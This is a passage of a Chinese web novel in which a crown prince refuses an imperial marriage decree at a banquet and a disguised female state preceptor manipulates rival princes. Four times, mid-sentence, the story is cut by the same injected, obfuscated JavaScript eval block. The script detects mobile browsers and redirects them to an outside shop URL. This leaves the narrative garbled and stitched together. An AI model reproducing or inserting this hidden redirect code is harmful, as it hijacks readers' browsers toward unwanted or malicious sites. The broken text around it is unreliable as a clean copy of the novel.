她怔愣之际,穆归衡接着说道:“你把蛊下在江姑娘身上,保不齐本宫哪日嫌她腻烦,就会弃她于不顾。到时候,也说不清你们是谁给谁陪葬。可你若把那蛊转移到本宫身上,就不必忧心了。本宫总不至于为了报复你,把自己的命也赔进去吧?” 费红英见他说得认真,反而不知该作何回应了。 难道他为了救江御暮,真的愿意做到这个份上? 费红英说不清自己现在是什么心情,疑惑之外,也许还有些欣喜? 她微微抬头,看向穆归衡身后的屏风。 屏风之后是纱帘,纱帘之后是暗门。 暗门之后,是耳力上佳的江御暮。 方才的所有对话,她都听得清清楚楚。 然而,还不等费红英作出回答,今日的第二位客人便来了。 “安王殿下驾到——” 仆役话音才落,安王穆归礼就踏入了宴堂大门。 他的眼神只在穆归衡身上轻点一下,行了礼,紧接着便看向这座国师府的主人,费红英。 这是他第一次见到她,只觉她与自己想象中的样子大为不同。 此前,他设想中的飞鸿影,应当是个仙风道骨的盲眼老头。 哪想到,她竟是个风华正茂的清秀少年。 “见过国师。”穆归礼微微颔首,唇角挂着轻佻的笑意。 费红英行礼时,他居高临下地审视着她。 这个少年,曾借江御暮之口,表达过向他投诚的意图。 然而同样是这个少年,明知他想杀太子,却偏偏要与他作对,治好了太子的“重病”。 此人究竟是敌是友,穆归礼暂时还无法判断。 也许,今日与其一见,便能获得更多线索。 不过费红英并未久留,向两位皇子告罪一声,只道后厨事务繁杂,她要去督促督促,便借故离开了。 穆归礼扫视一圈,自顾自坐于左侧上首。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13290253|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按规矩,应该要么让主人家费红英坐在此处,要么就论资排辈,让二皇兄穆归正坐在此处。 但穆归礼偏不给他们这个面子。 他自认为除太子以外,皇帝最宠爱的儿子便是他。哪怕他举止稍稍逾礼,皇帝也不会怪罪。 然而他屁股还没坐热,怀王穆归正就来了。 三人宽的身量,走起路来一步十八颤。 进门后,他叉腰站在宴堂中央,斜眼看着穆归礼,鼻中哼出一口浊气道:“没规矩的东西!那个位置,是你该坐的吗?” 穆归礼笑眼弯弯:“臣弟该不该坐,皇兄说了可不算,得听父皇的意思。喏,连太子殿下都没说什么,不是吗?” 穆归正一歪嘴:“你少攀扯太子!论长幼尊卑,本王可排在你前头!” 穆归礼毫不相让,拿话一顶:“论长幼尊卑,大皇兄还排在你前头呢,那又如何?” 穆归正听出他在讥讽自己弑兄一事,霎时气得两眼发直,与他吵嚷起来。 更准确地说,是他单方面吵嚷起来,直到听见内监高喊“皇上驾到”才罢休。 皇帝一进门,就看到穆归正脸红脖子粗,仿佛才发了一场火。 耐心听他这已过而立之年的孩子告完状,皇帝竟哈哈大笑起来,目光中满是溺爱。 “行了行了,一个席位而已,至于争成这样吗?” 虽是训斥的话语,皇帝脸上却满是慈爱。 “告诉你们,争也白争,这个位置本来也不是给你们预备的。” 听到此话,老二老四不服气地对视一眼。 这算什么,各打五十大板么? 穆归礼平日与皇帝最亲近,这时便壮起胆子,半撒娇道:“父皇,儿臣和二皇兄鹬蚌相争,不会让三皇兄渔翁得利了吧?” 说起来,老三穆归仪直到现在还没现身呢,要是白捡这么一个大便宜,他可不依! 皇帝捧腹道:“非也非也,老三总是迟到,合该让他坐在末席。” 穆归正紧随其后,一边擦拭满头热汗一边问道:“父皇,那这位置是留给谁的呀?” 皇帝正要回答,费红英便带着那位最重要的客人走进门来。 “参见陛下,参见诸位王爷。” 怀王穆归正从不插手政事,对朝中百官甚至没混上几个脸熟,自然不认得来者何人。 安王穆归礼却一眼就认出了他——户部尚书,江淮照。 可是,他为什么会出现在这里?皇帝牵头设宴,贺国师乔迁之喜,与他江淮照有何干系? 此时此刻,太子穆归衡与他有着同样的疑问,想不出答案,眉头不自知地紧锁起来。 皇帝看看他,又看看江淮照,没有多说什么,只下令让众人都入座。 费红英指挥仆役们上菜斟酒,屋内旋即热闹起来。 穆归衡能察觉到,皇帝一直在盯着他看,盯得他心里发毛。 皇帝定定看了半晌,也没等到太子眉头舒展,虽不知他在发什么愁,但已为他备下了一份惊喜。 那是一道赐婚的诏书。 江淮照啊江淮照,你受了朕那么多年的恩惠,就用你女儿这味药,来偿还一二吧。 35. 费红英白眼得赐姓,穆归衡抗旨拒…… 其实,若按照皇帝以往的脾气,大可直接抛出一纸诏书,把江御暮牢牢捆在太子身边。 这次却偏偏不行。 只因国师特意嘱咐过,这桩婚事必须在双方都自愿的前提下完成,才能对太子大有裨益。 但凡一方心有芥蒂,或被强迫成婚,都会产生反噬。 皇帝以前从不信这些方士的诡术,可是费红英与他们不同,她将太子从鬼门关边缘拉了回来,为这个王朝保住了目前唯一可用的继承人。 因此,她口中的忌讳,皇帝是万万不愿去触碰的。 昨夜听到费红英如是嘱咐时,皇帝十分不解:“能做太子妃,还能得朕亲自赐婚之荣,难道江家小姐还会不情愿么?” 费红英摇头道:“据贫道推算,江小姐非但不会有丝毫不情愿,反而还会对您千恩万谢,巴不得早早与太子殿下成婚。” “道长的意思是……”皇帝渐渐皱起双眉。 “陛下所料不错。”费红英压低声音,神秘兮兮道,“赐婚之事,太子殿下那边恐有重重顾虑,不会当即接受。” 皇帝更为狐疑:“却是为何?” 为何为何?还能为何?江御暮告诉她的呗! 前夜会面时,她的原话是:“我与太子虽有交情,但一直以朋友相称。即便他对我略有情愫,也远远没到议亲的那一步。皇帝若在此时插手赐婚,太子很有可能会拒绝——就像在过去的三年里,他两度拒绝皇帝为他选太子妃一样。不知为何,在婚姻之事上,他似乎执拗得很。” 费红英又问:“那你为何还要我向皇帝进言,求他赐婚?” 这不是操之过急了吗? 江御暮苦笑:“没法子,当初为了救纪青元,我跟安王穆归礼许诺过,要做他的下一任王妃。如今唯有借皇帝之威,把我和太子早早锁在一起,才能彻底断了安王的念头。否则一旦他上门提亲,就不好收场了。” 费红英恍然大悟。 原来,江御暮设计让皇帝赐婚,并不是为了即刻成为太子妃。 当然,如果此事能成,那是最好。 如果成不了,至少还可以获得一个摆脱安王的正当理由——江御暮是皇帝认定的太子妃,纵然婚事尚未议定,其他皇子为免瓜田李下之嫌,也不该与她再有来往。 “我明白了。” 费红英欣然一笑。 不知为何,明明是同样弧度的微笑,在皇帝面前却多出了几分神秘意味。 他方才提出的问题,她早就想好了要如何回答。 “回禀陛下,依卦象来看,太子殿下与江小姐虽互为正缘,但姻缘线尚未相连。尤其太子一方甚不明晰,变数颇多,乃红尘之心久久未定之故。” 皇帝听罢立刻着急起来:“这可如何是好?” 费红英镇定自若:“陛下莫慌,早先那颗丹丸,不是已经为太子殿下续了三年寿命么?只要能在三年之内促成这桩婚事,太子殿下便可安然无忧。” 皇帝这才踏实了些:“也罢,三年时间,只要让他们多相处相处,不怕没有机会。” 语毕顿了顿,又问:“既然吾儿尚未定心,明日席间,朕就没必要下旨赐婚了吧?归衡那孩子脾气倔,万一朕表露此心,反使他与江家小姐生出嫌隙,那就难办了。” 费红英连忙劝道:“不不不,陛下细想,江小姐年方十八,正是议亲的年龄。您若不早早表态,让她为太子殿下守着,万一江家另为她定了亲事,岂不麻烦?” 皇帝听罢轻叹道:“还是道长想得周全。” 因此,皇帝赴宴时带上了一方锦盒,里头躺着他亲笔写下的赐婚圣旨。 今日,皇帝更是特意安排江淮照和太子一左一右,面对面坐在离他最近的席位。 只是宴堂太大,一张张矮桌整齐摆开,即便是最近的席位也离皇帝有好一段距离。 几轮敬酒后,皇帝没有直接引入话题,而是迂回着对众人大谈往事。 甚至,还聊起了他与江淮照同在前朝为官的事。 这下不仅江淮照诚惶诚恐,在座的诸位皇子也紧张起来。 怀王穆归正秉承着只拍马屁,不发表多余观点的原则,连连吹捧皇帝英明神武。 安王穆归礼则顺着皇帝的话茬往下说,大赞江淮照是功臣贤良。 皇帝一笑而过,转头看看太子穆归衡,他却仍旧剑眉紧蹙,一言不发。 这孩子,真不让他省心。 皇帝给身后的老内监使了个眼色,后者会意,立刻从皇帝的桌上端起一盘菜,双手捧到江淮照的桌前放下。 区区一盘菜,瞬间吸引了屋内所有人的目光。 “江大人,陛下赐菜。”老内监笑吟吟说完,便退回了皇帝身后。 江淮照连忙起身,走到宴堂中央,向皇帝下拜谢恩。 “平身吧。”皇帝道,“江爱卿,你可知道朕赐给你的这道菜,有什么说法?” 江淮照回到桌边坐下,仔细端详着那盘菜。 光洁白净的瓷盘上,细长笋丝蜿蜒曲折,如碧色江水波光粼粼。岸上栽着一颗高木,是将松露细细切来,摆成参天巨树的形状。 江淮照审慎道:“江边有木,江水润泽其木。陛下放心,微臣定然不负您的鞭策,余生数十载,都会尽心尽力,为您效犬马之劳。” 皇帝笑着摆摆手:“淮照啊,今日家宴,你怎么又谈起国事来?” “家宴?” 这个词,比皇帝突然赐菜的举动还惹人注目。 怀王心直口快,将疑问脱口而出:“父皇,今日之宴,不是为了恭贺国师乔迁之喜吗?怎么又变成家宴了?” 皇帝看着坐在最远处的费红英,说道:“国师对太子有救命之恩,如何封赏都不为过。朕已然决定,要赐他国姓。鸿影啊,从今以后,你就姓穆了。” 费红英微笑着翻了个白眼。 没关系,眼前有飞绡挡着,没人能看见。 “微臣穆鸿影,叩谢陛下隆恩。” 费红英一点也不喜欢这个名字,但是丝毫没有表现出来。 安王穆归礼好像猜到了什么,看看费红英,又看看皇帝,最后将目光落在江淮照身上。 他佯装一无所知,故意玩笑道:“国师也就罢了,江尚书怎么也来赴咱们的家宴了呢?难不成,父皇您也要给他改个名字,叫穆淮照?” 如此尴尬的笑话,竟也把皇帝逗得哈哈大笑。 “你呀你呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299933|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一天天的,总有那么多怪话。” 皇帝伸手冲他轻点几下,慢慢收起了笑容,正色道:“朕赐给江爱卿的这道菜,不过是借‘江边有木’之景,讨个彩头。” 语毕转头看看穆归衡,笑问:“太子,你可明白朕的意思?” 穆归衡一直在为蛊毒之事悬心,走神已久,压根没注意他们方才在聊什么,只得糊弄道:“儿臣愚钝。” 这种反应落在皇帝眼中,却像是在刻意装傻。 既然穆归衡这样回避问题,他也只能主动捅破窗户纸了。 “朕的意思,是让你迎娶江家长女,共结两姓之好。” 此话一出,在场诸人神态各异。 江淮照面露喜色,好像迫不及待预备开口谢恩。 怀王穆归正一脸茫然,看看太子,又看看桌上的红烧肘子,觉得还是肘子更有吸引力。 安王穆归礼冷眼望向费红英,隐隐觉得这件事背后有她参与。也许,她意图促成太子与江御暮的婚事,就是为了赶走自己身边唯一的可用之才。 这样一来,穆归礼若想壮大自身势力,就只能接受费红英的投诚。而她也会成为他唯一的盟友,至少短期内是唯一的。 可是,为什么? 如果她有心帮助自己争储,难道不是更应该拉拢江御暮吗? 费红英把事做得这样绝,是因为她不能容忍二仆共侍一主? 还是因为……她算出了江御暮有何猫腻!? 费红英面色如常,脸上的微笑一成不变,像专门练过似的。 她的席位太远,看不清穆归衡此刻作何反应,只能靠耳朵去听。 恨只恨,她的耳朵没有神力,听不到穆归衡的心声。 当然,就算有神力也没用,因为穆归衡此刻压根没有心声。 他这颗心,从没有这么安静过。 迎娶江家长女?迎娶江御暮? 短短一霎,他的眼前已经闪过许多画面。 不是披红挂彩的迎亲队伍,亦不是新婚之夜的龙凤花烛。 不是红盖头下的如花美眷,亦不是举案齐眉的并蒂芙蓉。 而是由火光绘出刺目尾迹的羽箭,数不胜数,如骤雨疾落。 是一座接一座飘出浓烟的烽火台,天震地骇,飞沙走石。 最后一幅场景,是无边无际的黑暗,穆归衡甚至能闻到血腥气。 而他自己,就是那血腥气的源头。 他身上的明黄龙袍被鲜血染成赤色,胸口插着一把寒光闪闪的长剑。 执剑之人面目模糊,辨不清五官。时而熟悉,时而陌生。 系统不再发出声音,但他知道,它没有离开。 它不会离开。 它在等。 等这些画面中的场景全部成真,就是它享用胜利果实的时刻。 穆归衡注定会死在系统的预言中,但……他绝不会让江御暮也出现在那些画面里。 他已经连累她够多了,不是吗? “父皇容禀。” 穆归衡站起身,走到皇帝正前方不远处,毫不迟疑地下跪叩首。 “儿臣不愿迎娶江家长女,请父皇收回成命,为江小姐另择佳婿。” 36. 苦太子自污挑嫡庶,诡国师移蛊索…… 皇帝虽然早有准备,但此刻旨意被太子当众拒绝,他还是按捺不住心头失望。 “胡闹!”他忍不住想问出一个理由来,“国师已然算过,你二人分明是再契合不过的正缘!你倒说说,有何理由拒绝这桩婚事?” 穆归衡恍然大悟。 今日早些时候,费红英曾说过,只要他不在皇帝面前拆她的台,她就愿意帮江御暮解蛊。 穆归衡当时还不明白,所谓“拆台”指的究竟是什么? 现在他才知道,原来就是拒绝这道赐婚圣谕。 一旦他表示拒绝,皇帝就有可能质疑费红英的卦辞,从而撬动她国师之位的基石,带来摇摇欲坠的风险。 穆归衡毫不怀疑,只要费红英产生一丝一毫的危机感,她就会愈发紧握手中筹码,牢牢捏住江御暮的命脉,借此逼迫他妥协。 可是无论如何,穆归衡都不能接受这门婚事,否则就相当于害江御暮给他陪葬。迟早有一日,他们会共赴黄泉。 而且,那一天来得不会很晚。 系统的任务或许还有空子可钻,但是它的预言,从来没有人能打破。 进退两难之际,穆归衡只能在尽量不与国师卦辞相对立的前提下,找个借口拒绝赐婚。 “回禀父皇,儿臣的确与江小姐有缘,也颇为投契,但……” 但什么?但什么呢……找什么借口才能堵住皇帝的嘴呢? 这个借口务必一击即中,踩上皇帝最在意之事。 至于他在意什么?这并不难总结,无非是权势、尊荣、正统等等。 既然如此,穆归衡就要表现得比他更为在意,甚至到了偏执的地步。 只有这样,才能博得皇帝一星半点的共情,博得一丝破局的希望。 想到这里,一个可用的借口随即浮现在他的脑海。 穆归衡用余光看了看江淮照。他明白,接下来的话一旦出口,他势必会得罪这位朝廷大员。 但是没关系,如果江淮照对穆归衡的厌恶,能把江御暮推离他身边,倒也是一件好事。 穆归衡决心已定,轻蔑地斜睨江淮照一眼,语带嘲讽道:“江御暮虽是尚书之女,却非嫡出,怎配做儿臣的太子妃?” 此话一出,屋内众人的心思又活络起来。 安王穆归礼头一个被逗笑了,笑出声的那种。 不过那笑声很轻很轻,像是用鼻子哼出来的,讥讽意味十足。幸而距离够远,没传进他父皇耳朵里,否则定然免不了一通谆谆教诲。 穆归礼一手撑起下巴,歪着头看向太子的背影。 他委实不理解,堂堂太子,怎么也学来民间土财主那套挑剔嫡庶的做派了? 且不说他几位皇兄的正妃中亦有庶女,就说皇帝的后妃们,也不是个个嫡出啊。 更何况,江御暮绝非池中之物,太子若因其庶女身份而拒绝赐婚,想来不是有眼无珠,就是失心成疯了吧! 一笑过后,穆归礼看向斜对面的费红英,不由讶异:太子并未接受赐婚,国师为何仍在微笑?难道,这也在他的预料之中吗? 不知为何,穆归礼总觉得那抹微笑碍眼得很。 要是能看到他不那么气定神闲的样子就好了,穆归礼心中暗想,他惊慌失措的模样一定更好看。 在恶趣味的裹挟下,穆归礼直勾勾观察着费红英的表情,如说笑般向皇帝提议道:“父皇,既然太子殿下不乐意,您就别逼他了呗!若要与江家结两姓之好,何必非让太子出马?儿臣才死了王妃,正在为续弦之事苦恼。若能跟江小姐——” “你放肆!”皇帝不愿再往下听,重重一拍桌子,指着他骂道,“朕已属意江家长女为太子妃,你怎敢提出这等要求?岂非狂悖僭越!” 其实,皇帝打心底里并不想这样疾言厉色地训斥爱子。 但是这桩婚姻太特殊了,事关太子的性命,绝不能有半点差池。 皇帝要让全京城的人都知道,即便太子瞧不上江御暮,旁人也别想染指她分毫。 哪怕是其他皇子,也坚决不行。 只有这样,才能为太子保住她这身药炉啊…… 安王穆归礼不知内情,竟愣在了原地——皇帝甚少这样训斥他,就连他当初自言杀死刘俭之时,皇帝也没有发怒,反而还温言安慰他许久。 可是今日,皇帝此举无异于当众撕下他的脸皮,放在地上踩。 此时此刻,怀王幸灾乐祸的神情便如火上浇油,使穆归礼怒意更盛。 凭什么? 太子不要的东西,皇帝也不愿赏给他么? 明明他们同为皇子,凭什么…… 穆归礼自嘲地笑了起来,向皇帝告罪一声,将杯中酒一饮而尽。 放下酒杯,他再度看向费红英,却发现对方也在“看”他。 而她唇边那抹碍眼的笑容,此刻竟无一点变化,如鬼如魅。 她想说什么?她一定有话想对他说。 穆归礼觉得,她也许是在劝他认清现实——醒醒吧,江御暮已经没机会做安王妃了,今后能为你提供助益的,只有我。 他自认为这个猜测严丝合缝,合情合理。 殊不知,费红英看向他时只是在想:他没病吧?这种局面下,还上赶着当出头鸟? 比起穆归礼,还是怀王穆归正更明智。 赐婚?随便吧,本王要吃席。 拒婚?随便吧,本王要吃席。 抢婚?随便吧,本王要吃席。 婚席丧席都行,但是必须有红烧肘子。 不过,现在的氛围似乎安静得有些尴尬,只有他一个人在大快朵颐。 穆归正渐渐意识到不妥,放下碗筷擦了擦手,眯着一双鼠眼看看皇帝,又看看江淮照。 哟,江尚书脸色不太好嘛,想是被太子的话气坏了吧! 连他这样迟钝的人都发现了,皇帝怎么会看不出来呢? “庶女……” 皇帝低声念叨着,捻须斜睨江淮照,见他黑着一张脸,便有些不快。 老东西,你这算什么?给太子甩脸子,还是给朕甩脸子? 朕愿意给你女儿一个做太子妃的机会,已是你们江家前世修来的福气了,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313871|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论事成与否,你们都该陪着笑脸,千恩万谢才对! 若不是看你女儿还有点用处,朕现在就治你一个大不敬之罪,摘了你的脑袋! 皇帝深吸一口气,强压心中杀意,对太子笑道:“你若只是迈不过这道坎,倒也好办,让江爱卿把那丫头的母亲抬为平妻,她不就是嫡女了么?” 穆归衡不屑一笑,似乎很瞧不上江御暮的出身:“掩耳盗铃,自欺欺人,便能转贱为贵了么?” 听到这里,江淮照似是再也难以隐忍,冷笑道:“微臣的掌上明珠,在太子殿下眼中竟与顽石无异。既然如此,还请陛下收回成命,莫要勉强殿下了。” 话中夹枪带棒,听得皇帝愈发头大。为长远打算,不能让他们把关系闹僵,只能暂且截断这个话题。 “也罢,此事来日再议吧。” 左右还有三年时间,也不急在这一时。 皇帝挥挥手,让仆役们再斟一轮酒,刚举起杯,定王穆归仪便姗姗来迟。 和以往一样,来赴宴之前,他就已经喝了个酩酊大醉。 怀王照常起哄,抓住穆归仪迟到之事不放,又让他喝了三杯罚酒。 有了这段插曲,方才席间紧张的气氛意外地缓和了不少。 安王穆归礼也一杯接着一杯,醉态渐显。不多时,他就趴倒在桌上,被仆役们扶去偏院休息了。 皇帝见状,也觉得身上疲乏起来,再拖下去也没什么趣,便回宫去了。 他这一走,其他宾客也随之离去,前呼后拥,只剩一个穆归衡还坐在原位。 费红英送走诸位贵客,回到宴堂,很识趣地遣走所有仆役,将房门牢牢关住,继而走到穆归衡面前。 “太子殿下,您与微臣还有话说么?” 穆归衡只道她明知故问:“本宫要你去给江姑娘解蛊,你装什么傻?” 费红英只是笑笑:“殿下,微臣还是更喜欢您的另一个提议。” 关于——把江御暮体内的子蛊,转移到穆归衡的体内。 方才费红英假称要去厨房视察,其实是去暗门后与江御暮商议此事。 二人很快达成一致,都想探一探穆归衡此语有几分诚意。 穆归衡没有犹豫,确认道:“只要本宫答允,你就能彻底放过江姑娘了么?” 费红英给他吃下定心丸:“当然。能与太子殿下这样金贵的性命绑在一起,微臣何须捏着区区江府庶女不放呢?” 她将重音落在“庶女”二字上,仿佛在穆归衡心上又扎一针,带来绵长细密的痛楚。 但他很快掩下情绪,说道:“那便开始吧,你要本宫如何配合?” 费红英慢悠悠摇着头:“殿下莫急,微臣现在还无法施术。要使子蛊更换宿主,还差一样必不可少的媒介。” “什么媒介?”穆归衡蹙眉,似是怕她又在找借口拖延时间。 费红英俨乎其然道:“头发,江小姐的头发。” 想取来这样“媒介”,穆归衡就必须亲自去见她一趟。 而这次见面,江御暮一定要将他拒婚的真正原因问个清楚。 37. 安王爷喜闻上上签,穆太子拒履下…… 穆归衡离开以后,费红英走出宴堂,随便唤来一名丫鬟问道:“安王殿下在何处休息?” 丫鬟答曰:“回大人,殿下在西偏院的厢房。” “知道了,多谢。” 费红英过不惯被人伺候的生活,面对向她屈膝俯首的人,她总会产生一种奇异的不适感,明明不痒,却想挠挠鼻尖。 小丫鬟总是低着头,不敢直视这位新主子。即便对方是“眼盲”之人,她也不敢放肆投去视线,生怕被察觉端倪,落一个不守规矩的罪名。 此刻骤然听见一声道谢,小丫鬟怔愣片刻。待她反应过来,抬起头,却只能望见费红英步履匆匆的背影。 眼盲之人也能这样健步如飞,不需要旁人引路吗?小丫鬟想。 也许,这就是世外高人的厉害之处吧。 …… 西偏院。 费红英敲了敲厢房的门,“安王殿下,微臣来给您送醒酒汤。” 屋里传来一道闷闷的声音:“进来。” 费红英两手空空,推门而入。 安王穆归礼斜卧在榻上,将眼睛睁开一条缝,上下打量着她。 “醒酒汤呢?” 费红英面无表情:“殿下,您没醉,不需要醒酒。之所以跑来偏院休息,不就是为了与微臣面谈一番么?” 她做了这些年的郎中,对付过不少醉鬼。真醉假醉,深醉浅醉,她一眼就能分辨出来。 穆归礼支起半边身子,懒懒摆出坐姿,眼睛仍旧微微眯着:“你怎么不笑了?” 方才在宴席上,她不是一直在微笑么?穆归礼有时甚至会想,她的脸肯定在发酸发麻,从唇角开始,向两侧的脸颊蔓延。 费红英言简意赅:“笑累了。” 江御暮说过,跟安王穆归礼相处时,不必给他太多好脸色。这人虽然看似是个暴脾气,其实骨子里贱得慌。你进一分,他会顶回来两分,但只要你不露惧色,打回去九分,他会自觉认怂,退开十分的。 果然,穆归礼丝毫没有因她的失礼而生气,反而笑着将身子又摆正了些。 “其实,你板着脸的样子更好看。”他说。 费红英经他这么一夸,只觉得背上爬满了蚂蚁。早听纪青元说过安王喜好男风,现在她扮成男人,不会误打误撞地被他视作猎物了吧? 不行,得把话题拉回正轨。 “安王殿下,微臣托江小姐向您转述的话,她可曾如约带到?”冷冰冰的问题,语气没有半分波澜。 穆归礼站起身,向她走近两步,以问代答:“你想投入本王麾下?” “是。”费红英不假思索。 “为什么?”穆归礼心存疑虑,“你救了太子一命,已然深受我父皇信任,在朝堂站稳了脚跟,何必另寻一个新靠山?” 什么靠山大得过皇帝呢?就连穆归礼本人,也不得不看着他的眼色生活。 费红英云淡风轻道:“因为那把龙椅,迟早有一天会换人坐。微臣还年轻,总不能把一辈子赌注都压在垂垂老矣的旧主上,不是吗?” 穆归礼心弦一动,被她话中隐晦的暗示激起了一片涟漪,脸上笑意瞬时消散,低声问道:“国师大人此言何意?难道父皇百年之后,继位的新主不是如今的太子么?” 费红英仿佛万分笃定:“他活不长的。” 穆归礼追问:“还能活多久?” 费红英撒谎如传播真理,毫不心虚:“至多三年。” “连你也救不了他么?” “微臣纵有此能,也不会与天意抗衡。” 穆归礼的声音有了些微颤动,带着明显的期待问道:“你来向本王投诚,难道是因为——?” “没错。”费红英主动靠近一步,身上淡淡的清苦药味尽数送入他鼻腔,“微臣算了一卦,下一个坐上龙椅的人正是您,安王殿下。” 穆归礼心中霎时涌起一片喜悦的潮水,奈何出口太少,迟迟无法宣泄,堵得他心脏越跳越快,几乎就要炸开。 真的吗?他未来真的能成功登上大位吗? 即便说出这番话的人是国师,是所谓的“神道高人”,穆归礼也不敢草率相信。 他至少还要再确认一点:“你倒说说,本王是如何夺位的?” 费红英不动声色:“殿下确定要问么?常人闻得太多天机,可是会遭到反噬的。” 穆归礼被唬住了,不敢再深挖这个问题,唯恐影响到未来的帝位归属。 可他仍然不敢百分百信任费红英,决定再试她一试。 “国师大人,本王很愿意同你合作。但是在此之前,本王总得亲眼见证一回你的神通。这个要求,不过分吧?” “不过分,殿下想如何见证?”费红英看似面不改色,其实心里已然没底起来。 遇到这种突如其来的要求该怎么做?江御暮没有教过她,只能随机应变了。 穆归礼细思片刻,半真半假道:“本王有个护卫离京执行任务,久久未归,彻底失去了踪迹。国师若能算出他如今身在何方,本王便信了你的神通。” 费红英短暂皱眉一瞬,动作微不可察。 她在这段话里发现了明显的矛盾。 如果那个护卫“彻底失去了踪迹”,那么穆归礼如何能甄别她“算”出的答案是真是假? 倘若她信口胡言一句,说个八竿子打不着的地方,难道穆归礼还要派人前去寻找么?若真如此,就算找不到,她也有话可辩:地是死的,人是活的,总不可能一直待在她算卦时所得的地点。 若要解释这种矛盾,唯一的可能便是——穆归礼此话有所隐瞒,他一定知道那护卫如今身处何方。 费红英心中已有猜测,但丝毫不敢掉以轻心,试探问道:“这不难,还请殿下将那护卫的姓名告知微臣。” 穆归礼眯眼回忆半晌,答道:“本名不记得了,本王给他赐名为‘时异’,可用么?” 可用,太可用了! 费红英的睫毛微微一颤,在飞绡覆盖下没有露出破绽。 “哪两个字?”她问,仿佛从来没有听过这个名字。 得到回答后,费红英从袖中摸出三枚铜板,抛掷六次,得到一卦。 她根本不会解卦,连方才掷得的阴阳顺序都忘了,但是无妨,她早知道答案。 “奇怪。”费红英皱起双眉,“殿下确认,那护卫当真离京了么?” 穆归礼双眸一亮:“卦象如何?” 费红英收回铜板,袖手道:“卦象显示,他此刻身处京内的高官府邸,似乎被关押着,而且性命垂危,几乎奄奄一息。” 穆归礼急切追问:“哪位高官的府邸?国师大人可算得出来?” 他迫切希望费红英能说出正确的答案,因为这就意味着她当真身负神通,也意味着他会如她卦中所言那般,成为下一位皇帝。 费红英伸出左手,拇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327859|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指在另外四指上轻点几下,舒眉道:“户部尚书,江淮照。” 穆归礼得到答案后沉默一瞬,紧接着放诞大笑起来,久久未停。 费红英知道,从这一刻开始,飞鸿影就正式踏入安王的阵营了。 哦,不,是穆鸿影。 但是,跟她费红英有什么关系? 穆归礼啊穆归礼,你就在这份虚假的光明未来中,多沉沦一段时日吧。 …… 东街甲巷,穆归衡来至枕闲书铺门口时,迎面遇上江淮照推门而出。 江淮照脸色不善,似乎心里仍然憋着一股怒火,不但没有给太子行礼,甚至还白了他一眼,冷哼着拂袖而去。 在系统的基础规则下,作为一个暴戾不仁的太子,穆归衡此刻应当大发雷霆,厉声唤回江淮照,治其大不敬之罪。 但是他没有。 他理应承受对方的怒火。 不论出于什么理由,既然他今日在大庭广众之下出言羞辱了江淮照的女儿,就该当承担后果。 系统的惩罚随即降下,穆归衡扶上书铺的门,竭力忍受着全身骨骼寸断之痛,双唇紧闭,拦住满口血腥。 路人纷纷避远,没有人敢靠近。 江御暮察觉了门口的动静,慢慢向门外的人形黑影走去。 两扇门板向内打开,穆归衡失去支撑,身体立时向前倒去,来不及作出反应,就摔进了一个熟悉的怀抱。 江御暮很快察觉他的异状,轻声问:“又有什么任务失败了吗?” “不……”穆归衡咽下口中鲜血,艰难答道,“一会……就好……” 江御暮不再出声,用脚尖依次轻踢两扇门板,力道适中,正好关上门。 穆归衡感觉到她在轻抚他的后背,一下一下,像顺毛安抚旺财那样。也许,她是想缓解他的痛苦。 江御暮的发尾垂在他手边,随着她身体的动作一悠一晃,蹭得他手背发痒。 说来也怪,明明此刻浑身都在经历剧痛,穆归衡真正在意的,却只是手背上的那一点痒。 不是已经下定决心了吗? 不是已经做好准备,待他取走一缕用于移蛊的青丝,今后便要与她分道扬镳吗? 不是已经认清现实,明白只有把她推远,才能确保她不被牵扯进系统预言的死局中吗? 可是为什么,在与她拥抱的那一刹,他还是会下意识地搂紧她的腰呢? “你为什么不愿意接受赐婚啊?”她柔声问。 语气没有愠怒,没有不甘,仿佛只有最纯粹的好奇。 穆归衡没有回答,费了好大力气才抬起一只手,犹豫着抚上她的长发。 